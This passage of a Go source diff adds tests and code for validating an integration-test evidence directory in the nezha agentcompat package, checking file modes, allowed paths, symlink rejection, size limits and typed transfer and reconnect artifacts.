writeJSONEvidenceFile(t, dir, "reconnect.json", validReconnectArtifact(t, "", true)) + }}, + {"reconnect mismatched", contract.ScenarioReconnect, contract.AssertionTransferWarmup, func(t *testing.T, dir string) { + writeJSONEvidenceFile(t, dir, "reconnect.json", validReconnectArtifact(t, "", true)) + }}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + dir := t.TempDir() + writeDedicatedExecutableEvidence(t, dir, test.scenario, "", true) + results := Results{Profile: "pr-full", Passed: true, Scenarios: []ScenarioResult{{Name: test.scenario, Passed: true, Assertions: []Assertion{{Name: test.assertion, Passed: true}}}}} + writeJSONEvidenceFile(t, dir, "results.json", results) + junit, err := JUnit(results) + if err != nil { + t.Fatalf("JUnit: %v", err) + } + writeEvidenceFile(t, dir, "junit.xml", string(junit)) + test.artifact(t, dir) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("generic assertion accepted for dedicated evidence") + } + }) + } +} diff --git a/integration/agentcompat/internal/evidence/dedicated_fault_fields_test.go b/integration/agentcompat/internal/evidence/dedicated_fault_fields_test.go new file mode 100644 index 00000000..eac40bc4 --- /dev/null +++ b/integration/agentcompat/internal/evidence/dedicated_fault_fields_test.go @@ -0,0 +1,86 @@ +package evidence + +import ( + "testing" + "time" +) + +func TestEvidence_TransferHashRejectsEverySuccessOnlyField(t *testing.T) { + tests := []struct { + name string + mutate func(*transferEvidence) + }{ + {"upload bytes", func(value *transferEvidence) { value.UploadBytes = 1 }}, + {"download bytes", func(value *transferEvidence) { value.DownloadBytes = 1 }}, + {"upload hash", func(value *transferEvidence) { value.UploadSHA256 = "stale" }}, + {"download hash", func(value *transferEvidence) { value.DownloadSHA256 = "stale" }}, + {"upload chunks", func(value *transferEvidence) { value.UploadChunks = 1 }}, + {"download chunks", func(value *transferEvidence) { value.DownloadChunks = 1 }}, + {"upload duration", func(value *transferEvidence) { value.UploadDuration = time.Nanosecond }}, + {"download duration", func(value *transferEvidence) { value.DownloadDuration = time.Nanosecond }}, + {"retained heap", func(value *transferEvidence) { value.RetainedHeapBytes = 1 }}, + {"mode", func(value *transferEvidence) { value.Mode = "0640" }}, + {"create dirs", func(value *transferEvidence) { value.CreateDirs = true }}, + {"upload replay", func(value *transferEvidence) { value.UploadReplayRejected = true }}, + {"download replay", func(value *transferEvidence) { value.DownloadReplayRejected = true }}, + {"oversize", func(value *transferEvidence) { value.OversizeRejected = true }}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + dir := t.TempDir() + writeDedicatedExecutableEvidence(t, dir, "transfer-100mib", "transfer-hash", false) + artifact := validTransferArtifact("transfer-hash", false) + test.mutate(&artifact.Evidence) + writeJSONEvidenceFile(t, dir, "transfer.json", artifact) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("stale transfer success field accepted") + } + }) + } +} + +func TestEvidence_DashboardExitRejectsEveryPostFaultField(t *testing.T) { + tests := []struct { + name string + mutate func(*reconnectEvidence) + }{ + {"dashboard after", func(value *reconnectEvidence) { value.Runtime.DashboardAfter.PID = 1 }}, + {"agent after", func(value *reconnectEvidence) { value.Runtime.AgentAfter.PID = 1 }}, + {"state before restart", func(value *reconnectEvidence) { value.Runtime.StateGenerationBeforeAgentRestart = 1 }}, + {"state after restart", func(value *reconnectEvidence) { value.Runtime.StateGenerationAfterAgentRestart = 1 }}, + {"identity dashboard config", func(value *reconnectEvidence) { value.Identity.DashboardConfigUnchanged = true }}, + {"identity agent config", func(value *reconnectEvidence) { value.Identity.AgentConfigUnchanged = true }}, + {"identity fixture", func(value *reconnectEvidence) { value.Identity.DashboardFixtureUnchanged = true }}, + {"clients recreated", func(value *reconnectEvidence) { value.Identity.ClientsRecreated = true }}, + {"bootstrap recreated", func(value *reconnectEvidence) { value.Identity.BootstrapRecreated = true }}, + {"reconnect timestamp", func(value *reconnectEvidence) { value.Lifecycle.ReconnectAt = time.Now() }}, + {"reconnect interval", func(value *reconnectEvidence) { value.Lifecycle.ReconnectInterval = time.Second }}, + {"dashboard receipts", func(value *reconnectEvidence) { value.Lifecycle.DashboardReceipts = []receiptPair{{}} }}, + {"agent receipts", func(value *reconnectEvidence) { value.Lifecycle.AgentReceipts = []receiptPair{{}} }}, + {"stale accounting", func(value *reconnectEvidence) { value.Lifecycle.StaleGenerationReceipts = 1 }}, + {"duplicate accounting", func(value *reconnectEvidence) { value.Lifecycle.DuplicateTaskIDs = 1 }}, + {"lost accounting", func(value *reconnectEvidence) { value.Lifecycle.LostResultIDs = 1 }}, + {"observation server", func(value *reconnectEvidence) { value.Observation.ServerID = 1 }}, + {"observation uuid", func(value *reconnectEvidence) { value.Observation.UUID = "stale" }}, + {"old generation", func(value *reconnectEvidence) { value.Observation.OldGeneration = 1 }}, + {"new generation", func(value *reconnectEvidence) { value.Observation.NewGeneration = 1 }}, + {"disconnect observation", func(value *reconnectEvidence) { value.Observation.DisconnectAt = time.Now() }}, + {"reconnect observation", func(value *reconnectEvidence) { value.Observation.ReconnectAt = time.Now() }}, + {"task ids", func(value *reconnectEvidence) { value.Observation.TaskIDs = []uint64{1} }}, + {"result ids", func(value *reconnectEvidence) { value.Observation.ResultIDs = []uint64{1} }}, + {"post reconnect", func(value *reconnectEvidence) { value.Observation.PostReconnect = true }}, + {"agent restarted", func(value *reconnectEvidence) { value.Observation.AgentRestarted = true }}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + dir := t.TempDir() + writeDedicatedExecutableEvidence(t, dir, "reconnect", "dashboard-exit", false) + artifact := validReconnectArtifact(t, "dashboard-exit", false) + test.mutate(&artifact.Evidence) + writeJSONEvidenceFile(t, dir, "reconnect.json", artifact) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("stale reconnect success field accepted") + } + }) + } +} diff --git a/integration/agentcompat/internal/evidence/dedicated_permissions_unix_test.go b/integration/agentcompat/internal/evidence/dedicated_permissions_unix_test.go new file mode 100644 index 00000000..6e228ba5 --- /dev/null +++ b/integration/agentcompat/internal/evidence/dedicated_permissions_unix_test.go @@ -0,0 +1,29 @@ +//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris + +package evidence + +import ( + "os" + "path/filepath" + "testing" +) + +func TestEvidence_RejectsDedicatedArtifactWithPublicMode(t *testing.T) { + dir := t.TempDir() + writeExecutableEvidence(t, dir, "pr-full", "transfer-100mib", true, true, true) + path := filepath.Join(dir, "transfer.json") + if err := os.WriteFile(path, []byte(`{}`), 0o644); err != nil { + t.Fatalf("write transfer artifact: %v", err) + } + if err := os.Chmod(path, 0o644); err != nil { + t.Fatalf("chmod transfer artifact: %v", err) + } + t.Cleanup(func() { + if err := os.Chmod(path, 0o600); err != nil { + t.Errorf("restore transfer artifact mode: %v", err) + } + }) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("public dedicated artifact mode accepted") + } +} diff --git a/integration/agentcompat/internal/evidence/dedicated_validation_test.go b/integration/agentcompat/internal/evidence/dedicated_validation_test.go new file mode 100644 index 00000000..ea18e891 --- /dev/null +++ b/integration/agentcompat/internal/evidence/dedicated_validation_test.go @@ -0,0 +1,204 @@ +package evidence + +import ( + "fmt" + "path/filepath" + "testing" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestEvidence_TransferAndReconnectRequireDedicatedArtifacts(t *testing.T) { + for _, scenarioName := range []string{"transfer-100mib", "reconnect"} { + t.Run(scenarioName, func(t *testing.T) { + dir := t.TempDir() + writeExecutableEvidence(t, dir, "pr-full", scenarioName, true, true, true) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("missing dedicated artifact accepted") + } + }) + } +} + +func TestEvidence_ValidatesTypedTransferSuccessAndFaultArtifacts(t *testing.T) { + tests := []struct { + name string + fault string + passed bool + }{ + {"success", "", true}, + {"hash fault", "transfer-hash", false}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + dir := t.TempDir() + writeDedicatedExecutableEvidence(t, dir, "transfer-100mib", test.fault, test.passed) + artifact := validTransferArtifact(test.fault, test.passed) + writeJSONEvidenceFile(t, dir, "transfer.json", artifact) + if err := ValidateDirectory(dir); err != nil { + t.Fatalf("validate transfer evidence: %v", err) + } + }) + } +} + +func TestEvidence_ValidatesTypedReconnectSuccessAndFaultArtifacts(t *testing.T) { + tests := []struct { + name string + fault string + passed bool + }{ + {"success", "", true}, + {"dashboard fault", "dashboard-exit", false}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + dir := t.TempDir() + writeDedicatedExecutableEvidence(t, dir, "reconnect", test.fault, test.passed) + artifact := validReconnectArtifact(t, test.fault, test.passed) + writeJSONEvidenceFile(t, dir, "reconnect.json", artifact) + if err := ValidateDirectory(dir); err != nil { + t.Fatalf("validate reconnect evidence: %v", err) + } + }) + } +} + +func TestEvidence_RejectsMisleadingDedicatedArtifact(t *testing.T) { + dir := t.TempDir() + writeDedicatedExecutableEvidence(t, dir, "transfer-100mib", "transfer-hash", false) + artifact := validTransferArtifact("transfer-hash", false) + artifact.Evidence.UploadBytes = 104857600 + writeJSONEvidenceFile(t, dir, "transfer.json", artifact) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("fault artifact containing stale success accepted") + } +} + +func TestEvidence_RejectsWrongOrStaleDedicatedArtifact(t *testing.T) { + dir := t.TempDir() + writeExecutableEvidence(t, dir, "pr-full", "transfer-100mib", true, true, true) + writeEvidenceFile(t, dir, "reconnect.json", `{}`) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("wrong dedicated artifact accepted") + } +} + +func writeDedicatedExecutableEvidence(t *testing.T, dir, scenarioName, fault string, passed bool) { + t.Helper() + metadata := validMetadata(t, dir, scenarioName) + metadata.Fault = fault + writeJSONEvidenceFile(t, dir, "metadata.json", metadata) + errorText := "" + if !passed { + if scenarioName == "transfer-100mib" { + errorText = "transfer scenario: injected hash mismatch" + } else { + errorText = "reconnect scenario: injected Dashboard exit" + } + } + definition, err := contract.ScenarioDefinitionByName(scenarioName) + if err != nil { + t.Fatalf("scenario definition: %v", err) + } + assertions := make([]Assertion, 0, len(definition.Assertions(fault))) + for _, assertion := range definition.Assertions(fault) { + assertions = append(assertions, Assertion{Name: assertion.Name, Passed: assertion.Passed}) + } + results := Results{Profile: "pr-full", Passed: passed, Scenarios: []ScenarioResult{{Name: scenarioName, Passed: passed, Assertions: assertions, Error: errorText}}} + writeJSONEvidenceFile(t, dir, "results.json", results) + junit, err := JUnit(results) + if err != nil { + t.Fatalf("JUnit: %v", err) + } + writeEvidenceFile(t, dir, "junit.xml", string(junit)) + writeEvidenceFile(t, dir, "cleanup.json", fmt.Sprintf(`{"passed":true,"scenario":%q,"finished_at":"2026-01-02T03:04:05Z"}`, scenarioName)) +} + +func validTransferArtifact(fault string, passed bool) transferArtifact { + errorText := "" + if !passed { + errorText = "transfer scenario: injected hash mismatch" + } + evidence := transferEvidence{WarmupUploadBytes: 65536, WarmupDownloadBytes: 65536, WarmupSHA256: "abc", WarmupDuration: time.Nanosecond, WarmupDeadlineRemaining: time.Second, WarmupQuiescent: true, OutsideRootSentinelsUnchanged: true} + if passed { + evidence.UploadBytes = 104857600 + evidence.DownloadBytes = 104857600 + evidence.UploadSHA256 = "abc" + evidence.DownloadSHA256 = "abc" + evidence.UploadChunks = 2 + evidence.DownloadChunks = 2 + evidence.UploadDuration = time.Second + evidence.DownloadDuration = time.Second + evidence.Mode = "0640" + evidence.CreateDirs = true + evidence.UploadReplayRejected = true + evidence.DownloadReplayRejected = true + evidence.OversizeRejected = true + } + return transferArtifact{Scenario: "transfer-100mib", Fault: fault, Passed: passed, CleanupOK: true, Error: errorText, Evidence: evidence} +} + +func validReconnectArtifact(t *testing.T, fault string, passed bool) reconnectArtifact { + t.Helper() + var artifact reconnectArtifact + artifact.Scenario = "reconnect" + artifact.Fault = fault + artifact.Passed = passed + artifact.CleanupOK = true + if !passed { + artifact.Error = "reconnect scenario: injected Dashboard exit" + } + evidence := &artifact.Evidence + fixtureRoot := t.TempDir() + // filepath.IsAbs follows the target OS, so fixtures must use native absolute paths. + dashboardRoot := filepath.Join(fixtureRoot, "dashboard") + agentRoot := filepath.Join(fixtureRoot, "agent") + evidence.Fixture.Dashboard.WorkspaceRoot = dashboardRoot + evidence.Fixture.Dashboard.ConfigPath = filepath.Join(dashboardRoot, "config") + evidence.Fixture.Dashboard.BinaryPath = filepath.Join(dashboardRoot, "bin") + evidence.Fixture.AgentRoot = agentRoot + evidence.Fixture.AgentConfigPath = filepath.Join(agentRoot, "config") + evidence.Fixture.AgentBinaryPath = filepath.Join(agentRoot, "bin") + evidence.Runtime.DashboardBefore = runtimeIdentity{Generation: 1, PID: 10, ProcessGroupID: 10} + evidence.Runtime.AgentBefore = runtimeIdentity{Generation: 1, PID: 20, ProcessGroupID: 20} + evidence.Identity.ServerID = 1 + evidence.Identity.UUID = "uuid" + evidence.Lifecycle.DisconnectAt = time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC) + evidence.Lifecycle.OutsideRootSentinelUnchanged = true + evidence.AgentCleanup = validCleanupReceipt("agent", expectedProcessCount(passed)) + evidence.DashboardCleanup = validCleanupReceipt("dashboard", expectedProcessCount(passed)) + if passed { + evidence.Runtime.DashboardAfter = runtimeIdentity{Generation: 2, PID: 11, ProcessGroupID: 11} + evidence.Runtime.AgentAfter = runtimeIdentity{Generation: 2, PID: 21, ProcessGroupID: 21} + evidence.Runtime.StateGenerationBeforeAgentRestart = 1 + evidence.Runtime.StateGenerationAfterAgentRestart = 2 + evidence.Identity.DashboardConfigUnchanged = true + evidence.Identity.AgentConfigUnchanged = true + evidence.Identity.DashboardFixtureUnchanged = true + evidence.Identity.ClientsRecreated = true + evidence.Identity.BootstrapRecreated = true + evidence.Lifecycle.ReconnectAt = evidence.Lifecycle.DisconnectAt.Add(time.Second) + evidence.Lifecycle.ReconnectInterval = time.Second + evidence.Lifecycle.DashboardReceipts = make([]receiptPair, 3) + evidence.Lifecycle.AgentReceipts = make([]receiptPair, 2) + evidence.Observation = reconnectObservation{ServerID: 1, UUID: "uuid", OldGeneration: 1, NewGeneration: 2, DisconnectAt: evidence.Lifecycle.DisconnectAt, ReconnectAt: evidence.Lifecycle.ReconnectAt, TaskIDs: []uint64{1, 2, 3, 4, 5}, ResultIDs: []uint64{1, 2, 3, 4, 5}, PostReconnect: true, AgentRestarted: true} + } + return artifact +} + +func validCleanupReceipt(name string, count int) cleanupReceipt { + receipt := cleanupReceipt{Passed: true, Processes: make([]cleanupRecord, count)} + for index := range receipt.Processes { + receipt.Processes[index] = cleanupRecord{Name: name, PID: index + 1} + } + return receipt +} + +func expectedProcessCount(passed bool) int { + if passed { + return 2 + } + return 1 +} diff --git a/integration/agentcompat/internal/evidence/directory_permissions_other.go b/integration/agentcompat/internal/evidence/directory_permissions_other.go new file mode 100644 index 00000000..48829a6d --- /dev/null +++ b/integration/agentcompat/internal/evidence/directory_permissions_other.go @@ -0,0 +1,23 @@ +//go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows + +package evidence + +import ( + "errors" + "fmt" + "os" +) + +func validateEvidenceDirectoryMode(info os.FileInfo) error { + if info.Mode().Perm() != 0o700 { + return errors.New("evidence directory must use mode 0700") + } + return nil +} + +func validateEvidenceFileMode(info os.FileInfo, relative string) error { + if info.Mode().Perm() != 0o600 { + return fmt.Errorf("evidence file must use mode 0600: %s", relative) + } + return nil +} diff --git a/integration/agentcompat/internal/evidence/directory_permissions_unix.go b/integration/agentcompat/internal/evidence/directory_permissions_unix.go new file mode 100644 index 00000000..ff526dc6 --- /dev/null +++ b/integration/agentcompat/internal/evidence/directory_permissions_unix.go @@ -0,0 +1,23 @@ +//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris + +package evidence + +import ( + "errors" + "fmt" + "os" +) + +func validateEvidenceDirectoryMode(info os.FileInfo) error { + if info.Mode().Perm() != 0o700 { + return errors.New("evidence directory must use mode 0700") + } + return nil +} + +func validateEvidenceFileMode(info os.FileInfo, relative string) error { + if info.Mode().Perm() != 0o600 { + return fmt.Errorf("evidence file must use mode 0600: %s", relative) + } + return nil +} diff --git a/integration/agentcompat/internal/evidence/directory_permissions_unix_test.go b/integration/agentcompat/internal/evidence/directory_permissions_unix_test.go new file mode 100644 index 00000000..24fd5f1a --- /dev/null +++ b/integration/agentcompat/internal/evidence/directory_permissions_unix_test.go @@ -0,0 +1,49 @@ +//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris + +package evidence + +import ( + "os" + "path/filepath" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestEvidence_ValidateDirectoryRejectsPublicRootOrEvidenceFile(t *testing.T) { + tests := []struct { + name string + path string + }{ + {name: "root", path: ""}, + {name: "metadata", path: "metadata.json"}, + {name: "results", path: "results.json"}, + {name: "junit", path: "junit.xml"}, + {name: "cleanup", path: "cleanup.json"}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + dir := t.TempDir() + writeExecutableEvidence(t, dir, "pr-full", contract.ScenarioRegistrationConfigExec, true, true, true) + path := dir + if test.path != "" { + path = filepath.Join(dir, test.path) + } + if err := os.Chmod(path, 0o644); err != nil { + t.Fatalf("chmod fixture: %v", err) + } + restoredMode := os.FileMode(0o600) + if test.path == "" { + restoredMode = 0o700 + } + t.Cleanup(func() { + if err := os.Chmod(path, restoredMode); err != nil { + t.Errorf("restore fixture mode: %v", err) + } + }) + if err := ValidateDirectory(dir); err == nil { + t.Fatal("public evidence mode accepted") + } + }) + } +} diff --git a/integration/agentcompat/internal/evidence/directory_permissions_windows.go b/integration/agentcompat/internal/evidence/directory_permissions_windows.go new file mode 100644 index 00000000..97b9e4ce --- /dev/null +++ b/integration/agentcompat/internal/evidence/directory_permissions_windows.go @@ -0,0 +1,13 @@ +//go:build windows + +package evidence + +import "os" + +func validateEvidenceDirectoryMode(os.FileInfo) error { + return nil +} + +func validateEvidenceFileMode(os.FileInfo, string) error { + return nil +} diff --git a/integration/agentcompat/internal/evidence/directory_permissions_windows_test.go b/integration/agentcompat/internal/evidence/directory_permissions_windows_test.go new file mode 100644 index 00000000..8ec1bbef --- /dev/null +++ b/integration/agentcompat/internal/evidence/directory_permissions_windows_test.go @@ -0,0 +1,31 @@ +//go:build windows + +package evidence + +import ( + "os" + "testing" + "time" +) + +func TestEvidence_WindowsPermissionValidationIgnoresSyntheticModes(t *testing.T) { + info := permissionTestFileInfo{mode: 0o666} + + if err := validateEvidenceDirectoryMode(info); err != nil { + t.Fatalf("validate evidence directory: %v", err) + } + if err := validateEvidenceFileMode(info, "metadata.json"); err != nil { + t.Fatalf("validate evidence file: %v", err) + } +} + +type permissionTestFileInfo struct { + mode os.FileMode +} + +func (info permissionTestFileInfo) Name() string { return "evidence" } +func (info permissionTestFileInfo) Size() int64 { return 0 } +func (info permissionTestFileInfo) Mode() os.FileMode { return info.mode } +func (info permissionTestFileInfo) ModTime() time.Time { return time.Time{} } +func (info permissionTestFileInfo) IsDir() bool { return false } +func (info permissionTestFileInfo) Sys() any { return nil } diff --git a/integration/agentcompat/internal/evidence/directory_scan.go b/integration/agentcompat/internal/evidence/directory_scan.go new file mode 100644 index 00000000..0111622c --- /dev/null +++ b/integration/agentcompat/internal/evidence/directory_scan.go @@ -0,0 +1,152 @@ +package evidence + +import ( + "encoding/json" + "encoding/xml" + "errors" + "fmt" + "io" + "io/fs" + "os" + "path/filepath" + "strings" +) + +const ( + maxEvidenceFiles = 128 + maxEvidenceBytes = 32 << 20 +) + +type evidenceFile struct { + info os.FileInfo + data []byte +} + +type evidenceSnapshot map[string]evidenceFile + +func scanDirectory(root *os.Root) (evidenceSnapshot, error) { + info, err := root.Lstat(".") + if err != nil { + return nil, fmt.Errorf("stat evidence directory: %w", err) + } + if info.Mode()&os.ModeSymlink != 0 || !info.IsDir() { + return nil, errors.New("evidence path must be a directory") + } + if err := validateEvidenceDirectoryMode(info); err != nil { + return nil, err + } + seen := make(evidenceSnapshot) + var totalBytes int64 + err = fs.WalkDir(root.FS(), ".", func(path string, entry fs.DirEntry, walkErr error) error { + if walkErr != nil { + return walkErr + } + if path == "." { + return nil + } + if entry.IsDir() { + if path != "agents" { + return fmt.Errorf("evidence path is not allowed: %s", path) + } + return nil + } + if entry.Type()&os.ModeSymlink != 0 { + return fmt.Errorf("evidence symlink is not allowed: %s", path) + } + if !allowedEvidencePath(path) { + return fmt.Errorf("evidence path is not allowed: %s", path) + } + file, err := root.Open(path) + if err != nil { + return fmt.Errorf("open evidence file %s: %w", path, err) + } + fileInfo, err := file.Stat() + if err != nil { + _ = file.Close() + return fmt.Errorf("stat evidence file %s: %w", path, err) + } + if !fileInfo.Mode().IsRegular() { + _ = file.Close() + return fmt.Errorf("evidence file is not regular: %s", path) + } + if err := validateEvidenceFileMode(fileInfo, path); err != nil { + _ = file.Close() + return err + } + if len(seen)+1 > maxEvidenceFiles { + _ = file.Close() + return errors.New("too many evidence files") + } + remaining := int64(maxEvidenceBytes) - totalBytes + data, readErr := io.ReadAll(io.LimitReader(file, remaining+1)) + closeErr := file.Close() + if readErr != nil { + return fmt.Errorf("read evidence file %s: %w", path, readErr) + } + if closeErr != nil { + return fmt.Errorf("close evidence file %s: %w", path, closeErr) + } + if int64(len(data)) > remaining { + return errors.New("evidence files exceed size limit") + } + totalBytes += int64(len(data)) + if Redact(string(data)) != string(data) { + return fmt.Errorf("credential detected in evidence file: %s", path) + } + switch extension(path) { + case ".json": + if !json.Valid(data) { + return fmt.Errorf("invalid JSON evidence file: %s", path) + } + case ".xml": + var document any + if err := xml.Unmarshal(data, &document); err != nil { + return fmt.Errorf("invalid XML evidence file: %s: %w", path, err) + } + } + seen[path] = evidenceFile{info: fileInfo, data: data} + return nil + }) + return seen, err +} + +func allowedEvidencePath(relative string) bool { + for _, name := range EvidenceFiles() { + if name == relative { + return true + } + } + if filepath.Dir(relative) != "agents" || filepath.Ext(relative) != ".log" { + return false + } + base := strings.TrimSuffix(filepath.Base(relative), ".log") + if base == "" || base == "." { + return false + } + for _, character := range base { + if character != '-' && character != '_' && character != '.' && (character < '0' || character > '9') && (character < 'A' || character > 'Z') && (character < 'a' || character > 'z') { + return false + } + } + return true +} + +func readJSONFile[T any](files evidenceSnapshot, name string) (T, error) { + var value T + file, exists := files[name] + if !exists { + return value, fmt.Errorf("read %s: evidence snapshot is missing", name) + } + if err := json.Unmarshal(file.data, &value); err != nil { + return value, fmt.Errorf("parse %s: %w", name, err) + } + return value, nil +} + +func extension(path string) string { + index := strings.LastIndexByte(path, '.') + if index < 0 { + return "" + } + return path[index:] +} diff --git a/integration/agentcompat/internal/evidence/directory_security_test.go b/integration/agentcompat/internal/evidence/directory_security_test.go new file mode 100644 index 00000000..97bde164 --- /dev/null +++ b/integration/agentcompat/internal/evidence/directory_security_test.go @@ -0,0 +1,110 @@ +package evidence + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestEvidence_ValidateDirectoryRejectsUnexpectedPaths(t *testing.T) { + tests := []struct { + name string + path string + mode os.FileMode + }{ + {name: "payload", path: "payload.bin", mode: 0o600}, + {name: "executable", path: "agentcompat", mode: 0o700}, + {name: "nested log", path: "agents/nested/agent.log", mode: 0o600}, + {name: "unknown agent file", path: "agents/agent.bin", mode: 0o600}, + {name: "unknown directory", path: "unexpected/file.log", mode: 0o600}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + dir := t.TempDir() + writeExecutableEvidence(t, dir, "pr-full", contract.ScenarioRegistrationConfigExec, true, true, true) + path := filepath.Join(dir, test.path) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatalf("mkdir unexpected parent: %v", err) + } + if err := os.WriteFile(path, []byte("unexpected"), test.mode); err != nil { + t.Fatalf("write unexpected file: %v", err) + } + if err := ValidateDirectory(dir); err == nil || !strings.Contains(err.Error(), "not allowed") { + t.Fatalf("unexpected path rejection err=%v", err) + } + }) + } +} + +func TestEvidence_ValidateDirectoryRejectsSymlinkReplacementOutsideRoot(t *testing.T) { + // Given + dir := t.TempDir() + writeExecutableEvidence(t, dir, "pr-full", contract.ScenarioRegistrationConfigExec, true, true, true) + outside := filepath.Join(t.TempDir(), "outside-metadata.json") + if err := os.WriteFile(outside, []byte(`{"profile":"outside"}`), 0o600); err != nil { + t.Fatal(err) + } + metadata := filepath.Join(dir, "metadata.json") + if err := os.Remove(metadata); err != nil { + t.Fatal(err) + } + if err := os.Symlink(outside, metadata); err != nil { + t.Fatal(err) + } + + // When + err := ValidateDirectory(dir) + + // Then + if err == nil || !strings.Contains(err.Error(), "symlink") { + t.Fatalf("symlink replacement error=%v", err) + } +} + +func TestEvidence_ValidateDirectoryRejectsResultsRootSymlink(t *testing.T) { + // Given + resultsDir := t.TempDir() + writeExecutableEvidence(t, resultsDir, "pr-full", contract.ScenarioRegistrationConfigExec, true, true, true) + symlink := filepath.Join(t.TempDir(), "results-link") + if err := os.Symlink(resultsDir, symlink); err != nil { + t.Fatal(err) + } + + // When + err := ValidateDirectory(symlink) + + // Then + if err == nil || !strings.Contains(err.Error(), "must be a directory") { + t.Fatalf("results root symlink error=%v", err) + } +} + +func TestEvidence_ValidateSnapshotUsesCapturedBytesAfterDiskMutation(t *testing.T) { + // Given + dir := t.TempDir() + writeExecutableEvidence(t, dir, "pr-full", contract.ScenarioRegistrationConfigExec, true, true, true) + root, err := os.OpenRoot(dir) + if err != nil { + t.Fatal(err) + } + defer root.Close() + snapshot, err := scanDirectory(root) + if err != nil { + t.Fatal(err) + } + writeEvidenceFile(t, dir, "metadata.json", `{}`) + writeEvidenceFile(t, dir, "results.json", `{}`) + writeEvidenceFile(t, dir, "junit.xml", ``) + writeEvidenceFile(t, dir, "cleanup.json", `{}`) + + // When + err = validateSnapshot(snapshot) + + // Then + if err != nil { + t.Fatalf("captured evidence was changed by later disk mutation: %v", err) + } +} diff --git a/integration/agentcompat/internal/evidence/directory_validation.go b/integration/agentcompat/internal/evidence/directory_validation.go new file mode 100644 index 00000000..9999bd16 --- /dev/null +++ b/integration/agentcompat/internal/evidence/directory_validation.go @@ -0,0 +1,193 @@ +package evidence + +import ( + "encoding/xml" + "errors" + "fmt" + "os" + "slices" + "strings" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +type cleanupEvidence struct { + Passed bool `json:"passed"` + Scenario string `json:"scenario"` + FinishedAt string `json:"finished_at"` +} + +type currentEvidenceProfile struct { + RequiredFiles []string + DedicatedFile string + Executable bool +} + +func currentProfile(metadata Metadata) (currentEvidenceProfile, error) { + if len(metadata.Scenarios) == 0 { + return currentEvidenceProfile{}, errors.New("metadata scenarios are required") + } + if len(metadata.Scenarios) == 1 && metadata.Scenarios[0] == contract.ScenarioMetadata { + if metadata.Fault != "" { + return currentEvidenceProfile{}, errors.New("metadata scenario does not support fault injection") + } + return currentEvidenceProfile{RequiredFiles: []string{"metadata.json"}}, nil + } + if len(metadata.Scenarios) != 1 { + return currentEvidenceProfile{}, errors.New("current evidence profile requires one supported scenario") + } + scenarioValue, err := contract.NewScenario(metadata.Scenarios[0]) + if err != nil { + return currentEvidenceProfile{}, fmt.Errorf("construct metadata scenario: %w", err) + } + if !contract.IsSupportedScenario(metadata.Scenarios[0]) || metadata.Scenarios[0] == contract.ScenarioMetadata { + return currentEvidenceProfile{}, errors.New("current evidence profile requires one supported scenario") + } + faultValue := contract.Fault{} + if metadata.Fault != "" { + faultValue, err = contract.NewFault(metadata.Fault) + if err != nil { + return currentEvidenceProfile{}, fmt.Errorf("construct metadata fault: %w", err) + } + } + if err := contract.ValidateScenarioFault(scenarioValue, faultValue); err != nil { + return currentEvidenceProfile{}, err + } + definition, err := contract.ScenarioDefinitionByName(metadata.Scenarios[0]) + if err != nil { + return currentEvidenceProfile{}, err + } + profile := currentEvidenceProfile{RequiredFiles: []string{"metadata.json", "results.json", "junit.xml", "cleanup.json"}, DedicatedFile: definition.DedicatedArtifactName(), Executable: true} + if profile.DedicatedFile != "" { + profile.RequiredFiles = append(profile.RequiredFiles, profile.DedicatedFile) + } + return profile, nil +} + +func ValidateDirectory(resultsDir string) error { + if strings.TrimSpace(resultsDir) == "" { + return errors.New("evidence directory is required") + } + info, err := os.Lstat(resultsDir) + if err != nil { + return fmt.Errorf("stat evidence directory: %w", err) + } + if info.Mode()&os.ModeSymlink != 0 || !info.IsDir() { + return errors.New("evidence path must be a directory") + } + root, err := os.OpenRoot(resultsDir) + if err != nil { + return fmt.Errorf("open evidence directory: %w", err) + } + defer root.Close() + files, err := scanDirectory(root) + if err != nil { + return err + } + return validateSnapshot(files) +} + +func validateSnapshot(files evidenceSnapshot) error { + if len(files) == 0 { + return errors.New("evidence directory contains no files") + } + metadata, err := readJSONFile[Metadata](files, "metadata.json") + if err != nil { + return err + } + if err := metadata.Validate(); err != nil { + return fmt.Errorf("validate metadata evidence: %w", err) + } + profile, err := currentProfile(metadata) + if err != nil { + return err + } + for _, required := range profile.RequiredFiles { + if _, exists := files[required]; !exists { + return fmt.Errorf("required evidence file is missing: %s", required) + } + } + if err := rejectStaleDedicatedFiles(files, profile.DedicatedFile); err != nil { + return err + } + if !profile.Executable { + return nil + } + results, err := readJSONFile[Results](files, "results.json") + if err != nil { + return err + } + if err := results.Validate(); err != nil { + return fmt.Errorf("validate results evidence: %w", err) + } + if results.Profile != metadata.Profile.Name || !slices.Equal(metadata.Scenarios, scenarioResultNames(results.Scenarios)) { + return errors.New("metadata and results do not agree") + } + if err := validateJUnit(files, results); err != nil { + return err + } + cleanup, err := readJSONFile[cleanupEvidence](files, "cleanup.json") + if err != nil { + return err + } + if !cleanup.Passed || 